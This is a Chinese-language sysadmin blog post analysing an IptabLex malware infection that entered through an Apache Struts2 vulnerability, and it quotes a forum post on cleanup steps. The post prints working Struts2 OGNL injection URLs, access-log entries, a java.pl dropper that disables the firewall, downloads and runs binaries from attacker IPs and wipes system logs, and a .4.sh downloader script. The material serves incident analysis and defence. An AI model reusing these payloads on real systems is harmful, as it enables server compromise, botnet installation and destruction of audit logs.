SPRITEKING

Apache tomcat struts2漏洞导致的Linux IptabLex攻击

时间:公元14-07-22 栏目:Linux, LINUX系统管理, 安全 作者:SPRITEKING 吐槽:0 被黑客围观: 8,201 次





  截止到今天,公司的服务器已经受到三次类似的攻击。前两次把相关病毒文件删除,struts2漏洞尚未修复,所以,再次中枪...

  中毒后现象:

  网站访问速率比平时慢,大流量,占用系统资源高,进行网络攻击...

  中毒前期:

  查看系统日志发现:被多次SSH扫描;查看网站程序日志:存在注入,扫描,上传等行为;

 

查看系统异常文件,/boot 目录发现异常

 
/boot/IptabLes 

/boot/IptableX

/boot/.Iptables

/boot/.IptableX

查看两个文件的文件类型,可知是32位的可执行文件
# file /boot/.IptabLe
.IptabLex: sticky ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), for GNU/Linux 2.6.9, statically linked, not stripped

  并且,这几个文件已经链接到/etc/rc.d/init.d,进行开机自启!

# cat /etc/rc.d/init.d/IptabLex 
#!/bin/sh 
/boot/.IptabLex 
exit 0 
# cat /etc/rc.d/init.d/IptabLes 
#!/bin/sh 
/boot/.IptabLes 
exit 0

 

攻击回放:

  http://JSP网站域名/index.action?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{‘wget’,'-O’,'/tmp/java.pl’,’http://60.174.234.107:1974/pack.pl‘})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get(‘com.opensymphony.xwork2.dispatcher.HttpServletResponse’),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()}?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{‘chmod’,'u+x’,'/tmp/java.pl’})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get(‘com.opensymphony.xwork2.dispatcher.HttpServletResponse’),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()}?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{‘perl’,'/tmp/java.pl’,’60.174.234.107′,’6666′})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get(‘com.opensymphony.xwork2.dispatcher.HttpServletResponse’),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()}

  日志历史记录:

 

 

221.0.28.234 – - [08/Feb/2014:18:40:37 +0800] “GET /SpegUltimate.action?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{‘chmod’,’0775′,’/usr/bin/perl’})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get(‘com.opensymphony.xwork2.dispatcher.HttpServletResponse’),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()}?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{‘chmod’,’0775′,’/usr/bin/wget’})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get(‘com.opensymphony.xwork2.dispatcher.HttpServletResponse’),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()}?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{‘wget’,'-O’,'/tmp/java.pl’,’http://103.30.40.248:12340/pack.pl‘})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get(‘com.opensymphony.xwork2.dispatcher.HttpServletResponse’),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()}?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{‘perl’,'/tmp/java.pl’,’103.30.40.248′,’1233′})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get(‘com.opensymphony.xwork2.dispatcher.HttpServletResponse’),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()} HTTP/1.1″ 200 200008 “-” “Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0)”27.11.51.87 – - [10/Jan/2014:19:55:35 +0800] “GET /Login.action?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{‘wget’,'-P’,'/export/home/dt/WebRoot/’,’http://www.h5.com.cn/zjj.jsp‘})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get(‘com.opensymphony.xwork2.dispatcher.HttpServletResponse’),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()} HTTP/1.1″ 200 50002 “-” “Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)”

java.pl:

/etc/init.d/iptables stop
/etc/init.d/iptable stop
chkconfig iptables off
service iptables stop
chmod 0775 /usr/bin/nohup
chmod 0775 /usr/bin/killall
chmod 0775 /usr/bin/rm
chmod 0775 /usr/bin/wget
killall freeBSD
rm -r -f /tmp/freeBSD
killall .freeBSD
rm -r -f /tmp/.freeBSD
mkdir /etc/plngius
rm -r -f /etc/plngius/.Linux_time_y_2014
killall .E7739C9DFEAC5B8A69A114E45AB327D4
rm -r -f /etc/plngius/.E7739C9DFEAC5B8A69A114E45AB327D4
wget -O /etc/plngius/.E7739C9DFEAC5B8A69A114E45AB327D4 http://42.157.4.107:881/mysql1
chmod 0755 /etc/plngius/.E7739C9DFEAC5B8A69A114E45AB327D4
./etc/plngius/.E7739C9DFEAC5B8A69A114E45AB327D4
killall .E7739C9DFEAC5B8A69A114E45AB327D41
rm -r -f /etc/plngius/.E7739C9DFEAC5B8A69A114E45AB327D41
wget -O /etc/plngius/.E7739C9DFEAC5B8A69A114E45AB327D41 http://42.157.4.107:881/mysql1.0
chmod 0755 /etc/plngius/.E7739C9DFEAC5B8A69A114E45AB327D41
./etc/plngius/.E7739C9DFEAC5B8A69A114E45AB327D41
myFile="/etc/plngius/.E7739C9DFEAC5B8A69A114E45AB327D4" 
if [ ! -f "$myFile" ];
then
killall .Linux_time_y_2015
rm -r -f /tmp/.Linux_time_y_2015
killall .ECC6DFE919A382BADRR1A8CDFC9FB43AA0
rm -r -f /tmp/.ECC6DFE919A382BADRR1A8CDFC9FB43AA0
wget -O /tmp/.ECC6DFE919A382BADRR1A8CDFC9FB43AA0 http://42.157.4.107:881/xudp
chmod 0755 /tmp/.ECC6DFE919A382BADRR1A8CDFC9FB43AA0
nohup /tmp/.ECC6DFE919A382BADRR1A8CDFC9FB43AA0> /dev/null 2>&1 &
fi
cat /dev/null > /var/log/syslog 
cat /dev/null > /var/adm/sylog 
cat /dev/null > /var/log/wtmp 
cat /dev/null > /var/log/maillog 
cat /dev/null > /var/log/messages 
cat /dev/null > /var/log/openwebmail.log 
cat /dev/null > /var/log/maillog 
cat /dev/null > /var/log/secure 
cat /dev/null > /var/log/httpd/error_log 
cat /dev/null > /var/log/httpd/ssl_error_log 
cat /dev/null > /var/log/httpd/ssl_request_log 
cat /dev/null > /var/log/httpd/ssl_access_log
exit

  在/tmp缓存分区发现一个SH脚本:.4.sh

cat .4.sh
user=`whoami`
if [ "$user" = "root" ]; then
    killall lixtest
    killall linuxx
    killall ssh3
    killall ssh4
    killall ssh6
    killall ssh-32
    killall ssh-64
    killall ssh-c4
    killall java.13.2.8_11
    killall drmc
    killall tmpof X11 1471 1417 v432 v532 29881 10993 behsdf helen lampp
    killall Umi34Ber
    killall mysql.sock x1 xxx dos32 dos64 007 t32 lq64 t64 lq32 java.132.8_11 261180 sshbin xudp xupd1 xudp2 xudp3 xudp4 xudp5
    killall java.2.15.22_20
    killall nodeudp
    killall nodeJR
    killall zv64
    killall java-2013
    killall linuxssh
    killall strutsbin
    killall xzm32
    killall 266189
    killall auto.bin
    killall /boot/.IptabLex
    killall /boot/.IptabLes
    killall /etc/wins/wins
    killall /etc/liun2.0/liun2.0
    killall /tmp/mapding-root
    killall /etc/idmapd/.idmapd_open
    killall /tmp/mapding-root
    killall /root/chom
    killall /tmp/2003
    killall java-1.1.3
    killall mdesxdas
    killall /root/lea
    killall shenke3
    killall index
    killall 32
    killall /tmp/.flashget
    killall /tmp/.flashgets
    killall txma
    killall mm22
    killall xudp
    killall .procs
    killall .Ds32
    killall .Ds64
    killall .NK32
    killall .NK64
    killall procs
    killall Ds32
    killall Ds64
    killall NK32
    killall NK64
    killall sys.54cz
    killall nodeJ
    killall xiaoma
    crontab -r
    wget http://116.239.5.38/.../getsetup.hb
    chmod 0777 getsetup.hb
    ./getsetup.hb
fi
rm /tmp/4.sh -rf

 

  开来这个脚本是还没及时执行。(脚本大致内容,查看当前系统用户,如果是root,结束相关进程,清空计划任务,从116.239.5.38下载getsetup.hb,并赋予777最高权限,执行该文件,删除/tmp/4.sh文件  作者发现该脚本时,某台没有域名的服务器已经把该文件删除...    在/etc/rclocal/存在执行.sh .pl脚本,以及关闭防火墙的相关行为 )

 

相关

        'wget','-O','/tmp/java.pl','http://103.30.40.248:12340/pack.pl'

        'wget','-O','/tmp/java.pl','http://60.174.234.107:1974/pack.pl'

XX

  补充:getsetup.hb下载存放到 /home/user/ 某一用户文件目录中。

 

 

  查找资料,发现类似被入侵的站长

 

  1.原文:

    http://bbs.chinaunix.net/thread-4118890-1-1.html

 

  当一台linux服务器入侵之后,排查系统故障及解决思路

                     发表于 2014-01-12 19:45:47 |只看该作者 |倒序浏览

 

大家都知道,互联网每时每刻都会存在攻击的可能性,(系统频繁发包,SYN攻击,等等)安全问题是系统管理员不可忽视的一个问题。当系统出现了问题,我们该如何下手,如何去排查系统问题呢?

正巧,今天公司一台线上的Linux系统出现了入侵的问题。(其实这已经困扰了我快一个月的问题了)(DDOS 系统频繁发包)我把我的处理思路分享给大家,如有哪一点说的不到位,请大家指出,并提出宝贵的意见,谢谢。勿喷。

由于是系统在内网发包,把我们的网络都堵塞了,以至于我不能远程登录到linux系统上,查看cacti流量图都查看不了。ping也全部丢包。这时去机房也不可能,所以,我只好等待发包不频繁的时机,趁此登录系统。功夫不负有心人,终于远程登录上系统了。

由于经历这样的问题不只一次,所以登录系统后,直接奔系统进程查看。查看结果如下:

# ps -ef (只显示可疑进程)
root      2013     1  0 10:01 ?        00:00:00 /boot/.IptabLex
root      5953     1  0 10:01 ?        00:00:00 /boot/.IptabLex
root      6035     1  0 10:01 ?        00:00:00 /boot/.IptabLes
root     24852     1  2 14:31 ?        00:04:29 /boot/.IptabLes
root     27322     1  3 15:08 ?        00:03:50 /boot/.IptabLes

由于程序还在发作,所以只保留唯一一个进程,剩下的进程全部kill掉,以便排查系统的根源在哪里

# kill -9 5953 6035 24852

查看打开的文件,及系统关联的文件都有哪些

# lsof -p 27322 ; lsof -p 2013
COMMAND     PID USER   FD   TYPE DEVICE SIZE/OFF    NODE NAME
.IptabLes 27322 root  cwd    DIR  253,0     4096       2 /
.IptabLes 27322 root  rtd    DIR  253,0     4096       2 /
.IptabLes 27322 root  txt    REG  104,1  1103243    5905 /boot/.IptabLes
.IptabLes 27322 root    0u   REG  253,0        5   98310 /.mylisthbS.pid
.IptabLes 27322 root    1u   REG  253,0        5   98313 /.mylisthb.pid
.IptabLes 27322 root    2u  sock    0,5      0t0 3442424 can't identify protocol
.IptabLes 27322 root    3u   raw             0t0 3445564 00000000:00FF->00000000:0000 st=07
.IptabLes 27322 root    4u   raw             0t0 3445565 00000000:00FF->00000000:0000 st=07
.IptabLes 27322 root    5u   raw             0t0 3445566 00000000:00FF->00000000:0000 st=07
COMMAND    PID USER   FD   TYPE  DEVICE SIZE/OFF  NODE NAME
.IptabLex 2013 root  cwd    DIR   253,0     4096     2 /
.IptabLex 2013 root  rtd    DIR   253,0     4096     2 /
.IptabLex 2013 root  txt    REG   104,1   722580  5906 /boot/.IptabLex
.IptabLex 2013 root    0u   REG   253,0        5 98309 /.mylisthbSx.pid
.IptabLex 2013 root    1uW  REG   253,0        5 98311 /.mylisthbx.pid
.IptabLex 2013 root    2u  IPv4 3479690      0t0   TCP 192.168.116.11:10038->59.63.167.168:1001 (ESTABLISHED)

经百度查看59.63.167.168的IP为江西省南昌市 电信

查看Cacti流量图。很遗憾,论坛现在上传图片上传不了。
显示的结果是 Output  300M 跑满了。

查看产生的可疑所有的文件。
# ll -a /   (只显示可疑的文件)
-rw-r--r--   1 root  root      5 Jan 12 17:15 .mylisthb.pid
-rw-r--r--   1 root  root      5 Jan 12 10:01 .mylisthbS.pid
-rw-r--r--   1 root  root      5 Jan 12 10:01 .mylisthbSx.pid
-rw-r--r--   1 root  root      5 Jan 12 16:57 .mylisthbx.pid

查看/boot/分区下
# ll -a /boot/
-rw-r--r--   1 root  root      5 Jan 12 10:01 .IptabLes 
-rw-r--r--   1 root  root      5 Jan 12 10:01 .IptabLex 
-rw-r--r--   1 root  root      5 Jan 12 10:01 IptabLes -> /etc/rc.d/init.d/IptabLes
-rw-r--r--   1 root  root      5 Jan 12 10:01 IptabLex -> /etc/rc.d/init.d/IptabLex

查看/etc/rc.d/init.d/IptabLex和/etc/rc.d/init.d/IptabLes文件内容
# cat /etc/rc.d/init.d/IptabLex 
#!/bin/sh
/boot/.IptabLex
exit 0
# cat /etc/rc.d/init.d/IptabLes
#!/bin/sh
/boot/.IptabLes
exit 0

查看两个文件的文件类型,可知是32位的可执行文件
# file /boot/.IptabLex
.IptabLex: sticky ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), for GNU/Linux 2.6.9, statically linked, not stripped
# file /boot/.IptabLes
.IptabLes: sticky ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), for GNU/Linux 2.6.9, statically linked, not stripped

查看message信息
# cat /var/log/message
Jan 12 11:36:24 localhost kernel: .IptabLes[12688]: segfault at 0000000000000000 rip 000000000804e837 rsp 00000000ffeb1fb0 error 4
Jan 12 11:36:39 localhost kernel: .IptabLes[12706]: segfault at 0000000000000000 rip 000000000804e837 rsp 00000000ffeb1fb0 error 4
Jan 12 11:36:54 localhost kernel: .IptabLes[12723]: segfault at 0000000000000000 rip 000000000804e837 rsp 00000000ffeb1fb0 error 4
Jan 12 11:37:10 localhost kernel: .IptabLes[12739]: segfault at 0000000000000000 rip 000000000804e837 rsp 00000000ffeb1fb0 error 4
Jan 12 11:37:46 localhost kernel: .IptabLes[12756]: segfault at 0000000000000000 rip 000000000804e837 rsp 00000000ffeb1fb0 error 4

处理方法,删除关联的文件
# rm -f /.mylisthb*   产生的pid文件
# rm -f /boot/.IptabLex
# rm -f /boot/..IptabLes              编译后的二进制文件
# rm -f /etc/rc.d/init.d/IptabLex
# rm -f /etc/rc.d/init.d/IptabLes

因为这个文件发包基于什么协议,或者基于什么系统命令发包尚未清楚,所以在iptables这无法断定基于什么协议或者基于什么端口进行限制。待大家给一些宝贵的意见。

 

   处理:

  1.删除所有相关文件,如果有必要,可以建立一些空文件并进行chattr +i操作;

  2.修改SSh端口,防止被SSH攻击;

  3.添加SSH黑白名单,或者iptables限制访问服务器SSH端口的IP

  最重要的还是修复struts2漏洞

 

声明: 本文由( SPRITEKING )原创编译,转载请保留链接: Apache tomcat struts2漏洞导致的Linux IptabLex攻击

Apache tomcat struts2漏洞导致的Linux IptabLex攻击:等您坐沙发呢!

发表评论


Time

新浪微博

音乐

为您推荐